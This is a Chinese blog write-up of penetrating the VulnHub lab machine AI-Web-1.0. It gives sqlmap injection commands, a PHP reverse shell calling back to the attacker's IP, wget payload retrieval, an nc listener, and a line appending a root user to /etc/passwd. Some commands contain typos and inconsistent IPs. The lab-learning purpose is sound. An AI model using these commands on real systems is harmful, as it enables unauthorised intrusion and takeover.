Al-Web-1.0靶机渗透

前期准备:1.靶机下载网址:https://www.vulnhub.com/entry/ai-web-1,353/

                  2.渗透机 kali IP地址:192.168.75.128

环境配置:下载好虚拟机后使用VM打开,net连接模式

 

渗透开始:

1.授权

因为是自己下载搭建靶机进行渗透,所以此步省略

2.信息收集

2.1 收集目标IP地址

netdiscover

使用这条命令确定目标靶机IP地址

 

 可知,目标靶机IP地址为 192.168.75.134

 

因为靶机和渗透机是同在一个网段的,也可以使用

nmap -sP 192.168.75.0/24

 

 同样也可扫描到目标靶机IP地址

 

2.2 收集目标开放端口和服务

nmap -A  IP地址

使用这条命令查看目标靶机开放的端口

 

   目标开放了80端口,开启了http服务,并扫描出了目标的一些目录

果断访问

 发现没什么东西,只有这一句话,没什么用

 

2.3 收集目标靶机网页目录

dirb http://目标IP地址

使用这条命令可以使用dirb爆破目标网页目录

 

 爆破出目标靶机网页下有 index.html robots.txt  server-seatus 

 

依次访问,最终在robots.txt中发现了两个目录

 

尝试访问/m3diNf0/,没有权限。扫描/m3diNf0/目录

 

 存在info.php文件,查看

 

 再次依次进行访问,最后发现在/se3reTdir777/目录下,存有一个输入框

输入万能的SQL漏洞探测  ’  来判断有无SQL注入漏洞

 

 

存在SQL注入漏洞,打开sqlmap进行数据库爆破

 

打开burpsuite进行抓包

 

 成功抓取到数据包

 

尝试用SQLmap跑一下注入点

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit"  --dbs

 

 爆破出两个库 aiweb1和information_schema

 

爆破aiweb1的表名

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 --tables

 

爆破出两个表 user和systemUser

 

爆破user表里面的字段

sqlmap -u" http://192.168.75.134/se3reTdir777" --data 'uid=123&peration=Submit' -D aiweb1 -T user -columns

 

 发现并没有我们想要的数据,寻找其他利用点

 

3.漏洞利用

尝试使用SQLmap的--os-shell命令

  os-shell执行条件有三个:

    网站必须是root权限

    网站的绝对路径已知

    GPC为off(php主动转义的功能关闭)

 使用命令 

sqlmap -u" http://192.168.75.134/se3reTdir777" --data 'uid=123&peration=Submit' --os-shell

  依次选择 php  custom location(s)

根据前面找到的info.php文件暴露的信息,绝对路径选择:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

 

成功图如下

 但拿到的权限很低,需要进行提权

 

4.权限提升

成功后立马在渗透机里面准备一个php文件,内容为

<?php
$sock=fsockopen("192.168.75.128",9966);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
(注意:这里的ip地址192.168.75.128是你的kali的ip,端口可以随便写,不要冲突就行,后面还要使用到,其他建议照抄)

开启另外一个命令窗口,使用python搭建一个简易服务器

 后面的5555为你上面创建的php文件中的端口

 

这时在浏览器中输入127.0.0.1:端口号就可以看到你刚刚写的文件了

 

然后回到我们sqlmap写shell的那个界面

wget -S http://你本机的IP地址:你上面自己填写的端口号/你上面写的php文件名

  

 

 下载完成

 有时候可能会出现这种情况,多试两次就好了

 

然后换一个窗口,使用nc -lvp 9966监听端口

 

回到我们sqlmap写shell的那个界面,运行刚刚下载好的那个文件

 

 

 

正常情况下,这样就运行成功了

 

 

 

 

可以用id,whoami等命令查看一些信息

 

 

但是这样看并不舒服,可以使用python提升为交互式shell,也就是我们平常所看到的命令行窗口形式

python -c 'import pty;pty.spawn("/bin/bash")'

 

查看网站用户权限,发现可以读取passwd

 

 

增加一个root权限用户,先对密码进行加密

openssl passwd -1 -salt abc 000000

 

 然后再写入自己创建的账号和密码

echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu

 

 

切换用户  

su abc

  

 

 至此,拿到管理员权限后,这台靶机就已经完全被破解了

 

 

后言:最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/liver100day/p/14765142.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!